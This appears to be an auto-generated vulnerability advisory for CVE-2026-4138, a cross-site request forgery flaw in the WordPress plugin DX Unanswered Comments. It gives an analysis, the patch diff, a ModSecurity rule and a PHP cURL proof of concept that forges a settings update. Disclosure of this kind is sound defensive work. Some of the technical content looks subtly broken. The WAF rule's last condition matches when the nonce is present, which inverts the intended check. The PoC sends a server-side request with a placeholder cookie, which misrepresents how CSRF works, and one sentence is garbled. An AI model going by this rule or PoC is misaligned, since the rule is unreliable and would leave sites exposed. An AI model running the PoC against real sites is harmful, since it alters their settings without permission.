Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 24, 2026

CVE-2026-4138: DX Unanswered Comments <= 1.7 – Cross-Site Request Forgery via Settings Update (dx-unanswered-comments)

CVE ID CVE-2026-4138
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.7
Patched Version 1.8
Disclosed April 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4138:

This is a Cross-Site Request Forgery vulnerability in the DX Unanswered Comments plugin for WordPress, affecting all versions up to and including 1.7. The vulnerability allows unauthenticated attackers to modify plugin settings by tricking a site administrator into clicking a malicious link. The CVSS score is 4.3 (Medium severity).

The root cause is the complete absence of nonce validation on the plugin’s settings form in the file dxuc-unanswered-comments-admin-page.php. In the vulnerable code, line 14 checks `if ( ! empty( $_POST ) )` without any nonce verification. This allows any POST request to the settings page to modify the `dxuc_authors_list` and `dxuc_comment_count` options. The form processes user-supplied values from `$_POST[‘dxuc_authors’]` and `$_POST[‘dxuc_comment_count’]` and directly passes them to `update_option()` after minimal escaping. The `dxuc_authors_list` option could be set to arbitrary values (including malformed usernames or malicious strings that are later used unsafely), and the `dxuc_comment_count` boolean can be toggled on or off without authorization.

An attacker exploits this by crafting a request to the admin settings page URL, typically `/wp-admin/options-general.php?page=dx-unanswered-comments` or directly to the admin page file, with POST parameters `dxuc_authors` and `dxuc_comment_count`. The attacker hosts an HTML form or image tag that automatically submits the request. The following example payload modifies both settings: `dxuc_authors=evil_user1,evil_user2&dxuc_comment_count=1`. Since no nonce check exists, the administrator’s browser submits this request, and WordPress processes it as a legitimate settings update.

The patch introduces a nonce check. Line 14 gets updated from `if ( ! empty( $_POST ) )` to `if ( ! empty( $_POST ) && isset( $_POST[‘dxuc_settings_nonce’] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[‘dxuc_settings_nonce’] ) ), ‘dxuc_save_settings’ ) )`. A nonce field “ is added to the form. Additionally, the patch adds `ABSPATH` checks at the top of the admin page file and improves input sanitization by using `sanitize_text_field` and `wp_unslash` on user input. The nonce ensures that only a user who legitimately submitted the form from the WordPress admin interface can modify settings, as the nonce is tied to the current user session and has a limited lifespan.

If exploited, an attacker can arbitrarily change the list of users designated as “reply authors” and toggle the comment count feature. This could lead to manipulation of the plugin’s filtering logic: setting an empty or incorrect author list could cause the plugin to display all comments as unreplied, or hiding certain comments entirely. Toggling comment count on affects database query load, potentially contributing to performance issues. In a broader context, if the attacker injects malicious input into the `dxuc_authors_list` option that is later used without escaping (though the plugin does use esc_html in the form output), it could facilitate stored XSS in the admin interface. The direct impact is limited, but the unauthorized settings change undermines the plugin’s integrity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/dx-unanswered-comments/dxuc-unanswered-comments-admin-page.php
+++ b/dx-unanswered-comments/dxuc-unanswered-comments-admin-page.php
@@ -4,50 +4,55 @@
  *
  * @since	1.0
  */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 ?>
 <div class="wrap">
 	<?php
-		$authors_list  = get_option( 'dxuc_authors_list', 'admin' );
-		$comment_count = get_option( 'dxuc_comment_count', false );
+		$dxuc_authors_list  = get_option( 'dxuc_authors_list', 'admin' );
+		$dxuc_comment_count = get_option( 'dxuc_comment_count', false );

-	if ( ! empty( $_POST ) ) {
+	if ( ! empty( $_POST ) && isset( $_POST['dxuc_settings_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['dxuc_settings_nonce'] ) ), 'dxuc_save_settings' ) ) {
 		if ( ! empty( $_POST['dxuc_authors'] ) ) {
-			$authors_list = esc_html( $_POST['dxuc_authors'] );
+			$dxuc_authors_list = sanitize_text_field( wp_unslash( $_POST['dxuc_authors'] ) );

-			if ( empty( $authors_list ) ) {
-				$authors_list = 'admin';
+			if ( empty( $dxuc_authors_list ) ) {
+				$dxuc_authors_list = 'admin';
 			}

-			update_option( 'dxuc_authors_list', $authors_list );
+			update_option( 'dxuc_authors_list', $dxuc_authors_list );
 		}
 		if ( ! empty( $_POST['dxuc_comment_count'] ) ) {
-			$comment_count = true;
+			$dxuc_comment_count = true;
 			update_option( 'dxuc_comment_count', 1 );
 		} else {
-			$comment_count = false;
+			$dxuc_comment_count = false;
 			update_option( 'dxuc_comment_count', 0 );
 		}
 	}

 	?>

-	<h2><?php _e( 'DX Unanswered Comments', 'dx-unanswered-comments' ); ?></h2>
+	<h2><?php esc_html_e( 'DX Unanswered Comments', 'dx-unanswered-comments' ); ?></h2>

-	<p><?php _e( 'Enter the username of the WordPress user who is supposed to reply to commenters.', 'dx-unanswered-comments' ); ?></p>
-	<p><?php _e( 'You can several usernames separated by commas.', 'dx-unanswered-comments' ); ?></p>
-	<p><?php _e( 'Enable comment count in the top links comment filters if you need it.', 'dx-unanswered-comments' ); ?></p>
+	<p><?php esc_html_e( 'Enter the username of the WordPress user who is supposed to reply to commenters.', 'dx-unanswered-comments' ); ?></p>
+	<p><?php esc_html_e( 'You can several usernames separated by commas.', 'dx-unanswered-comments' ); ?></p>
+	<p><?php esc_html_e( 'Enable comment count in the top links comment filters if you need it.', 'dx-unanswered-comments' ); ?></p>

 	<form method="POST">
+		<?php wp_nonce_field( 'dxuc_save_settings', 'dxuc_settings_nonce' ); ?>
 		<p>
-			<label id="dxuc-authors-label" for="dxuc-authors"><?php _e( 'Authors List', 'dx-unanswered-comments' ); ?></label>
-			<input type="text" id="dxuc-authors" name="dxuc_authors" value="<?php echo esc_attr( $authors_list ); ?>" />
+			<label id="dxuc-authors-label" for="dxuc-authors"><?php esc_html_e( 'Authors List', 'dx-unanswered-comments' ); ?></label>
+			<input type="text" id="dxuc-authors" name="dxuc_authors" value="<?php echo esc_attr( $dxuc_authors_list ); ?>" />
 		</p>
 		<p>
-			<label id="dxuc-comment-count-label" for="dxuc-comment-count"><?php _e( 'Comment Count (if enabled adds some extra database load)', 'dx-unanswered-comments' ); ?></label>
-			<input type="checkbox" id="dxuc-comment-count" name="dxuc_comment_count" <?php checked( $comment_count, true, true ); ?> />
+			<label id="dxuc-comment-count-label" for="dxuc-comment-count"><?php esc_html_e( 'Comment Count (if enabled adds some extra database load)', 'dx-unanswered-comments' ); ?></label>
+			<input type="checkbox" id="dxuc-comment-count" name="dxuc_comment_count" <?php checked( $dxuc_comment_count, true, true ); ?> />
 		</p>
 		<p>
-			<input type="submit" value="<?php _e( 'Save Users', 'dx-unanswered-comments' ); ?>" />
+			<input type="submit" value="<?php esc_attr_e( 'Save Users', 'dx-unanswered-comments' ); ?>" />
 		</p>
 	</form>
 </div>
--- a/dx-unanswered-comments/dxuc-unanswered-comments.php
+++ b/dx-unanswered-comments/dxuc-unanswered-comments.php
@@ -4,7 +4,7 @@
  * Description: Filter your admin comments that have not received a reply by internal user yet.
  * Author: nofearinc
  * Author URI: https://devwp.eu/
- * Version: 1.7
+ * Version: 1.8
  * License: GPL2+
  * Text Domain: dx-unanswered-comments
  *
@@ -15,6 +15,13 @@
  *
  * @since	1.0
  */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/** Plugin version (match Plugin Name header). */
+define( 'DXUC_VERSION', '1.7' );
+
 class DX_Unanswered_Comments {

 	/**
@@ -29,7 +36,6 @@
 		add_action( 'admin_menu', array( $this, 'add_non_replied_comments_plugin_page' ) );
 		add_filter( 'views_edit-comments', array( $this, 'filter_comment_top_links' ) );
 		add_filter( 'comments_clauses', array( $this, 'filter_only_non_replied_comments' ) );
-		add_filter( 'init', array( $this, 'load_textdomain' ) );
 		add_filter( 'manage_edit-comments_columns', array( $this, 'add_comments_column' ) );
 		add_filter( 'manage_comments_custom_column', array( $this, 'add_comments_button' ), 10, 2 );
 		add_action( 'wp_ajax_mark_comment_as_replied', array( $this, 'mark_comment_as_replied' ) );
@@ -41,15 +47,6 @@
 	}

 	/**
-	 * Load the text domain for plugin's translation
-	 *
-	 * @since	1.0
-	 */
-	public function load_textdomain() {
-		load_plugin_textdomain( 'dx-unanswered-comments', false, dirname( plugin_basename( __FILE__ ) ) . '/languages' );
-	}
-
-	/**
 	 * Initial setup class
 	 *
 	 * @since	1.0
@@ -72,8 +69,11 @@
 		$non_replied_text = apply_filters( 'dxuc_non_replied_text', __( 'Non-replied', 'dx-unanswered-comments' ) );
 		$non_replied_root = apply_filters( 'dxuc_non_replied_top_level', __( 'Non-replied - Top Level', 'dx-unanswered-comments' ) );

-		$views['non-replied']      = "<a href='edit-comments.php?comment_status=non_replied'>$non_replied_text</a>";
-		$views['non-replied-root'] = "<a href='edit-comments.php?comment_status=non_replied&top_level=true'>$non_replied_root</a>";
+		$dxuc_views_allowed_html = array( 'span' => array( 'class' => true ) );
+		$dxuc_base_url           = add_query_arg( array( 'dxuc_view' => 'non_replied' ), admin_url( 'edit-comments.php' ) );
+		$views['non-replied']    = '<a href="' . esc_url( wp_nonce_url( $dxuc_base_url, 'dxuc_filter_comments' ) ) . '">' . wp_kses( $non_replied_text, $dxuc_views_allowed_html ) . '</a>';
+		$dxuc_top_level_url      = add_query_arg( array( 'dxuc_top_level' => '1' ), $dxuc_base_url );
+		$views['non-replied-root'] = '<a href="' . esc_url( wp_nonce_url( $dxuc_top_level_url, 'dxuc_filter_comments' ) ) . '">' . wp_kses( $non_replied_root, $dxuc_views_allowed_html ) . '</a>';

 		return $views;
 	}
@@ -85,45 +85,57 @@
 	 * @since	1.0
 	 */
 	public function filter_only_non_replied_comments( $clauses ) {
-		global $current_user;
+		static $dxuc_filtering = false;

-		if ( is_admin() && ! empty( $_GET['comment_status'] ) && $_GET['comment_status'] === 'non_replied' ) {
-			// get all needed posts (as comment__in but it doesn't exist yet)
-			global $wpdb;
-
-			// Get the IDs for admin users that are supposed to reply
-			$internal_user_ids_list = DXUC_Helper::get_internal_user_ids_list();
-			if ( empty( $internal_user_ids_list ) ) {
-				return $clauses;
-			}
+		if ( ! is_admin() || empty( $_GET['dxuc_view'] ) || sanitize_text_field( wp_unslash( $_GET['dxuc_view'] ) ) !== 'non_replied' ) {
+			return $clauses;
+		}
+		if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'dxuc_filter_comments' ) ) {
+			return $clauses;
+		}

-			// Get non-replied comment IDs array
-			$non_replied_comments = DXUC_Helper::get_non_replied_comments( $internal_user_ids_list );
+		// Prevent re-entrancy: get_non_replied_comments() uses get_comments() which triggers this filter again.
+		if ( $dxuc_filtering ) {
+			return $clauses;
+		}
+		$dxuc_filtering = true;

-			if ( empty( $non_replied_comments ) ) {
-				$clauses['where'] = '1 = 0'; // $clauses;
-				return $clauses;
-			}
+		// Get the IDs for admin users that are supposed to reply
+		$internal_user_ids_list = DXUC_Helper::get_internal_user_ids_list();
+		if ( empty( $internal_user_ids_list ) ) {
+			$dxuc_filtering = false;
+			return $clauses;
+		}

-			$non_replied_comments_list = implode( ',', $non_replied_comments );
-			// add it to the where clauses
-			$where = $clauses['where'];
+		// Get non-replied comment IDs array (this calls get_comments() internally)
+		$non_replied_comments = DXUC_Helper::get_non_replied_comments( $internal_user_ids_list );

-			if ( ! empty( $where ) ) {
-				$where .= ' AND ';
-			}
+		$dxuc_filtering = false;

-			$top_level = false;
-			if ( ! empty( $_GET['top_level'] ) && 'true' === $_GET['top_level'] ) {
-				$top_level = true;
-			}
+		if ( empty( $non_replied_comments ) ) {
+			$clauses['where'] = '1 = 0';
+			return $clauses;
+		}

-			// Filter where clause for getting proper comments
-			$where = DXUC_Helper::filter_comments_and_top_sql( $where, $top_level, $non_replied_comments_list, $internal_user_ids_list );
+		$non_replied_comments_list = implode( ',', $non_replied_comments );
+		$where = $clauses['where'];

-			$clauses['where'] = apply_filters( 'dxuc_comments_filter_where', $where );
+		if ( ! empty( $where ) ) {
+			$where .= ' AND ';
 		}

+		$top_level = false;
+		if ( ! empty( $_GET['dxuc_top_level'] ) && '1' === sanitize_text_field( wp_unslash( $_GET['dxuc_top_level'] ) ) ) {
+			$top_level = true;
+		}
+
+		$post_id = ! empty( $_GET['dxuc_post_id'] ) ? absint( $_GET['dxuc_post_id'] ) : 0;
+
+		// Filter where clause for getting proper comments
+		$where = DXUC_Helper::filter_comments_and_top_sql( $where, $top_level, $non_replied_comments_list, $internal_user_ids_list, $post_id );
+
+		$clauses['where'] = apply_filters( 'dxuc_comments_filter_where', $where );
+
 		return $clauses;
 	}

@@ -158,14 +170,18 @@
 	 */
 	public function add_top_active_link_script( $hook ) {
 		if ( 'edit-comments.php' === $hook ) {
-			wp_enqueue_script( 'dxuc-script', plugin_dir_url( __FILE__ ) . '/js/dxuc-script.js' );
-			wp_enqueue_script( 'dxuc-comments', plugin_dir_url( __FILE__ ) . '/js/dxuc-comments.js', array( 'jquery' ) );
-			wp_enqueue_style( 'dxuc-style', plugin_dir_url( __FILE__ ) . '/css/dxuc-style.css' );
+			$script_url = plugin_dir_url( __FILE__ ) . 'js/dxuc-script.js';
+			$comments_url = plugin_dir_url( __FILE__ ) . 'js/dxuc-comments.js';
+			$style_url = plugin_dir_url( __FILE__ ) . 'css/dxuc-style.css';
+			wp_enqueue_script( 'dxuc-script', $script_url, array(), DXUC_VERSION, true );
+			wp_enqueue_script( 'dxuc-comments', $comments_url, array( 'jquery' ), DXUC_VERSION, true );
+			wp_localize_script( 'dxuc-comments', 'dxucComments', array( 'nonce' => wp_create_nonce( 'dxuc_mark_comment_replied' ) ) );
+			wp_enqueue_style( 'dxuc-style', $style_url, array(), DXUC_VERSION );
 		}
 	}

 	function add_comments_column( $columns ) {
-		$columns['mark_as_replied_column'] = __( 'Mark as replied' );
+		$columns['mark_as_replied_column'] = __( 'Mark as replied', 'dx-unanswered-comments' );
 		return $columns;
 	}

@@ -174,15 +190,22 @@

 		if ( 'mark_as_replied_column' == $column ) {
 			if ( get_comment_meta( $comment_ID, $meta_key, true ) == 1 ) {
-				echo '<a class="mark_as_non_replied" href="#" data-value="' . $comment_ID . '" >Mark as non-replied</a>';
+				echo '<a class="mark_as_non_replied" href="#" data-value="' . esc_attr( $comment_ID ) . '">' . esc_html__( 'Mark as non-replied', 'dx-unanswered-comments' ) . '</a>';
 			} else {
-				echo '<a class="mark_as_replied" href="#" data-value="' . $comment_ID . '" >Mark as replied</a>';
+				echo '<a class="mark_as_replied" href="#" data-value="' . esc_attr( $comment_ID ) . '">' . esc_html__( 'Mark as replied', 'dx-unanswered-comments' ) . '</a>';
 			}
 		}
 	}

 	public function mark_comment_as_replied() {
-		$comment_id = sanitize_text_field( $_POST['selected_comment_id'] );
+		check_ajax_referer( 'dxuc_mark_comment_replied' );
+		if ( ! current_user_can( 'moderate_comments' ) ) {
+			wp_die( '', '', array( 'response' => 403 ) );
+		}
+		$comment_id = isset( $_POST['selected_comment_id'] ) ? absint( $_POST['selected_comment_id'] ) : 0;
+		if ( ! $comment_id ) {
+			wp_die( 0, '', array( 'response' => 400 ) );
+		}
 		$meta_key = "marked_as_replied";

 		if ( get_comment_meta( $comment_id, $meta_key, true ) == 0) {
@@ -191,17 +214,26 @@
 			add_comment_meta( $comment_id, $meta_key, 1 );
 		}

+		DXUC_Helper::clear_non_replied_comments_cache();
 		wp_die();
 	}

 	public function mark_comment_as_non_replied() {
-		$comment_id = sanitize_text_field( $_POST['selected_comment_id'] );
+		check_ajax_referer( 'dxuc_mark_comment_replied' );
+		if ( ! current_user_can( 'moderate_comments' ) ) {
+			wp_die( '', '', array( 'response' => 403 ) );
+		}
+		$comment_id = isset( $_POST['selected_comment_id'] ) ? absint( $_POST['selected_comment_id'] ) : 0;
+		if ( ! $comment_id ) {
+			wp_die( 0, '', array( 'response' => 400 ) );
+		}
 		$meta_key = "marked_as_replied";

 		if ( get_comment_meta( $comment_id, $meta_key, true ) == 1) {
 			update_comment_meta( $comment_id, $meta_key, 0);
 		}

+		DXUC_Helper::clear_non_replied_comments_cache();
 		wp_die();
 	}

@@ -218,10 +250,12 @@
 			foreach ( $comment_ids as $comment_id ) {
 				update_comment_meta( $comment_id, $meta_key, 1, 0 );
 			}
+			DXUC_Helper::clear_non_replied_comments_cache();
 		} elseif ( 'mark_as_non_replied' === $doaction ) {
 			foreach ( $comment_ids as $comment_id ) {
 				update_comment_meta( $comment_id, $meta_key, 0, 1 );
 			}
+			DXUC_Helper::clear_non_replied_comments_cache();
 		} else {
 			return $redirect_to;
 		}
--- a/dx-unanswered-comments/inc/dxuc-add-comment-count-top.php
+++ b/dx-unanswered-comments/inc/dxuc-add-comment-count-top.php
@@ -6,6 +6,10 @@
  * @since	1.0
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 add_filter( 'dxuc_non_replied_text', 'dxuc_filter_non_replied_text_top' );
 add_filter( 'dxuc_non_replied_top_level', 'dxuc_filter_non_replied_top_level_text_top' );

@@ -22,28 +26,72 @@
 }

 function dxuc_get_comments_count( $top_level = false ) {
-	$internal_user_ids_list = DXUC_Helper::get_internal_user_ids_list();
-	global $wpdb;
+	static $dxuc_count_computing = false;
+	static $dxuc_count_cache = array();
+
+	// Prevent re-entrancy (e.g. get_comments triggering views filter) to avoid memory exhaustion.
+	if ( $dxuc_count_computing ) {
+		return 0;
+	}

-	$not_spam = "comment_approved != 'spam'";
+	$dxuc_post_id = 0;
+	if ( ! empty( $_GET['dxuc_post_id'] ) && isset( $_GET['_wpnonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'dxuc_filter_comments' ) ) {
+		$dxuc_post_id = absint( wp_unslash( $_GET['dxuc_post_id'] ) );
+	}
+	$cache_key = ( $top_level ? '1' : '0' ) . '_' . $dxuc_post_id;
+	if ( isset( $dxuc_count_cache[ $cache_key ] ) ) {
+		return $dxuc_count_cache[ $cache_key ];
+	}
+
+	$dxuc_count_computing = true;
+
+	$internal_user_ids_list = DXUC_Helper::get_internal_user_ids_list();
+	$non_replied_comments   = DXUC_Helper::get_non_replied_comments( $internal_user_ids_list );

-	$non_replied_comments = DXUC_Helper::get_non_replied_comments( $internal_user_ids_list );
 	if ( empty( $non_replied_comments ) ) {
+		$dxuc_count_computing = false;
+		$dxuc_count_cache[ $cache_key ] = 0;
 		return 0;
 	}
-		// return $wpdb->get_var( "SELECT count(*) FROM $wpdb->comments WHERE $not_spam" );

-	$non_replied_comments_list = implode( ',', $non_replied_comments );
+	$non_replied_comments_list = apply_filters( 'dxuc_filter_allowed_comment_ids', implode( ',', $non_replied_comments ) );
+	$comment_ids_for_query    = array_filter( array_map( 'absint', explode( ',', $non_replied_comments_list ) ) );
+	$internal_user_ids        = array_map( 'absint', array_filter( explode( ',', $internal_user_ids_list ) ) );
+
+	if ( empty( $comment_ids_for_query ) ) {
+		$dxuc_count_computing = false;
+		$dxuc_count_cache[ $cache_key ] = 0;
+		return 0;
+	}

-	$where = '';
-	$sql   = "SELECT count(*) FROM $wpdb->comments WHERE ";
+	$query_args = array(
+		'comment__in'    => $comment_ids_for_query,
+		'author__not_in' => $internal_user_ids,
+		'status'         => array( 'hold', 'approve' ),
+		'type__not_in'   => array( 'pingback', 'trackback' ),
+		'count'          => true,
+	);

-	// Filter where clause for getting proper comments
-	$where = DXUC_Helper::filter_comments_and_top_sql( $where, $top_level, $non_replied_comments_list, $internal_user_ids_list );
+	if ( $top_level ) {
+		$query_args['parent'] = 0;
+	}

-	$sql .= $where;
+	if ( $dxuc_post_id > 0 ) {
+		$query_args['post_id'] = $dxuc_post_id;
+	}

-	$count = $wpdb->get_var( $sql );
+	// Require non-empty author email (mirrors filter_comments_and_top_sql).
+	$email_filter = function ( $clauses ) {
+		$clauses['where'] .= " AND comment_author_email != ''";
+		return $clauses;
+	};
+	add_filter( 'comments_clauses', $email_filter, 10, 1 );
+	$count = get_comments( $query_args );
+	remove_filter( 'comments_clauses', $email_filter, 10 );
+
+	$dxuc_count_computing = false;
+	$count = is_numeric( $count ) ? (int) $count : 0;
+	$dxuc_count_cache[ $cache_key ] = $count;

 	return $count;
 }
--- a/dx-unanswered-comments/inc/dxuc-helper.class.php
+++ b/dx-unanswered-comments/inc/dxuc-helper.class.php
@@ -36,47 +36,73 @@
 	 * @since	1.0
 	 */
 	public static function get_non_replied_comments( $internal_user_ids_list ) {
-		global $wpdb;
 		// Get commented IDs where admin has commented
 		if ( empty( $internal_user_ids_list ) ) {
 			return array();
 		}

-		$query = "SELECT comment_parent from {$wpdb->prefix}comments WHERE user_id IN ({$internal_user_ids_list}) AND comment_parent != 0";
-		$get_comment_parents_by_admin = $wpdb->get_col( $query );
-		if ( empty( $get_comment_parents_by_admin ) ) {
-			$query = "SELECT comment_parent from {$wpdb->prefix}comments WHERE user_id NOT IN ({$internal_user_ids_list}) AND comment_parent = 0";
-		}
+		$cache_key = 'dxuc_nrc_' . md5( $internal_user_ids_list );
+		$cached    = wp_cache_get( $cache_key, 'dxuc_non_replied_comments' );
+		if ( false !== $cached ) {
+			return $cached;
+		}
+
+		$internal_user_ids = array_map( 'absint', array_filter( explode( ',', $internal_user_ids_list ) ) );
+
+		// Comment parents that have been replied to by internal users (replies by internal users).
+		// Limit to avoid memory exhaustion on sites with many comments.
+		$reply_comments = get_comments(
+			array(
+				'author__in'     => $internal_user_ids,
+				'parent__not_in' => array( 0 ),
+				'status'         => array( 'hold', 'approve' ),
+				'fields'         => '',
+				'number'         => 10000,
+			)
+		);
+		$get_comment_parents_by_admin = array_unique( wp_list_pluck( $reply_comments, 'comment_parent' ) );

-		$get_comment_parents_by_admin = $wpdb->get_col( $query );
 		if ( empty( $get_comment_parents_by_admin ) ) {
-			return array();
+			// No replies by internal users yet: treat top-level non-internal comments as "replied" list (use 0 so NOT IN (0) returns all).
+			$get_comment_parents_by_admin = array( 0 );
 		}

 		$get_comment_parents_by_admin = apply_filters( 'dxuc_filter_comment_parents_by_admin', $get_comment_parents_by_admin );

-		$replied_comments = implode( ',', $get_comment_parents_by_admin );
+		$replied_comments = array_map( 'absint', (array) $get_comment_parents_by_admin );
+		if ( empty( $replied_comments ) ) {
+			wp_cache_set( $cache_key, array(), 'dxuc_non_replied_comments', 300 );
+			return array();
+		}

-		// Get all comments that haven't been answered
-		$not_spam             = "comment_approved != 'spam'";
-		$non_replied_comments = $wpdb->get_col(
-			"SELECT comment_ID from {$wpdb->prefix}comments where comment_ID NOT IN($replied_comments) " .
-			"AND $not_spam AND user_id NOT IN({$internal_user_ids_list})"
+		// Comments that are not in the "replied" set, not spam, and not by internal users.
+		// Limit to avoid memory exhaustion on sites with many comments.
+		$non_replied_comments = get_comments(
+			array(
+				'comment__not_in' => $replied_comments,
+				'author__not_in'  => $internal_user_ids,
+				'status'          => array( 'hold', 'approve' ),
+				'fields'          => 'ids',
+				'number'          => 10000,
+			)
 		);
+		$non_replied_comments = is_array( $non_replied_comments ) ? $non_replied_comments : array();

 		if ( empty( $non_replied_comments ) ) {
+			wp_cache_set( $cache_key, array(), 'dxuc_non_replied_comments', 300 );
 			return array();
 		}

 		$meta_key = "marked_as_replied";
-		foreach( $non_replied_comments as $key => $comment_id ) {
-
-			if ( get_comment_meta( $comment_id, $meta_key, true ) == 1 ) {
-				unset($non_replied_comments[$key]);
+		foreach ( $non_replied_comments as $key => $comment_id ) {
+			if ( (int) get_comment_meta( $comment_id, $meta_key, true ) === 1 ) {
+				unset( $non_replied_comments[ $key ] );
 			}
 		}

-		return $non_replied_comments;
+		wp_cache_set( $cache_key, array_values( $non_replied_comments ), 'dxuc_non_replied_comments', 300 );
+
+		return array_values( $non_replied_comments );
 	}

 	/**
@@ -104,11 +130,29 @@
 	}

 	/**
+	 * Invalidate the non-replied comments cache (e.g. after marking comment as replied/non-replied).
+	 *
+	 * @since 1.7
+	 */
+	public static function clear_non_replied_comments_cache() {
+		$internal_user_ids_list = self::get_internal_user_ids_list();
+		if ( '' !== $internal_user_ids_list ) {
+			$cache_key = 'dxuc_nrc_' . md5( $internal_user_ids_list );
+			wp_cache_delete( $cache_key, 'dxuc_non_replied_comments' );
+		}
+	}
+
+	/**
 	 * Filter where clause for getting proper comments
-	 *
+	 *
+	 * @param string $where                      Current WHERE clause.
+	 * @param bool   $top_level                  Whether to limit to top-level comments only.
+	 * @param string $non_replied_comments_list  Comma-separated comment IDs.
+	 * @param string $internal_user_ids_list    Comma-separated user IDs.
+	 * @param int    $post_id                   Optional. Filter by post ID. 0 to skip.
 	 * @since	1.0
 	 */
-	public static function filter_comments_and_top_sql( $where, $top_level, $non_replied_comments_list, $internal_user_ids_list ) {
+	public static function filter_comments_and_top_sql( $where, $top_level, $non_replied_comments_list, $internal_user_ids_list, $post_id = 0 ) {
 		$non_replied_comments_list = apply_filters( 'dxuc_filter_allowed_comment_ids', $non_replied_comments_list );
 		$not_spam                  = "comment_approved != 'spam'";

@@ -124,10 +168,9 @@
 			$where .= ' AND comment_parent = 0';
 		}

-		if ( ! empty( $_GET['dxuc_post_id'] ) ) {
-			$post_id = (int) $_GET['dxuc_post_id'];
-
-			$where .= " AND comment_post_ID = $post_id";
+		if ( ! empty( $post_id ) ) {
+			$post_id = absint( $post_id );
+			$where  .= " AND comment_post_ID = $post_id";
 		}

 		$where = apply_filters( 'dxuc_comment_count_top_filter_where', $where );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4138
# Block CSRF attack on DX Unanswered Comments settings form by requiring nonce field.
# Since the vulnerable code path lacks a nonce, we can block any POST request to the admin page that does not include 'dxuc_settings_nonce'.
# This virtual patch denies requests missing the nonce parameter, matching the fix's logic.
SecRule REQUEST_URI "@rx /wp-admin/options-general.php?.*page=dx-unanswered-comments" 
    "id:20264138,phase:2,deny,status:403,chain,msg:'CVE-2026-4138 - CSRF via settings update (missing nonce)',severity:'CRITICAL',tag:'CVE-2026-4138'"
    SecRule REQUEST_METHOD "@streq POST" "chain"
        SecRule ARGS_POST:dxuc_settings_nonce "@unconditionalMatch" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4138 - DX Unanswered Comments <= 1.7 - Cross-Site Request Forgery via Settings Update

// Configure the target WordPress site URL
$target_url = 'http://example.com/wp-admin/options-general.php?page=dx-unanswered-comments';

// The payload: we want to set authors_list to evil users and enable comment count
$post_data = array(
    'dxuc_authors'       => 'evil_user1,evil_user2',
    'dxuc_comment_count' => '1'
);

// Initialize cURL session
$ch = curl_init();

// Set cURL options for the CSRF attack
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_HASH=admin_session_cookie'); // Attacker must trick admin into visiting

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "HTTP Status Code: $http_coden";
    if ($http_code === 200) {
        echo "PoC: Settings potentially updated via CSRF attack. Check the 'Authors List' option.";
    }
}

curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School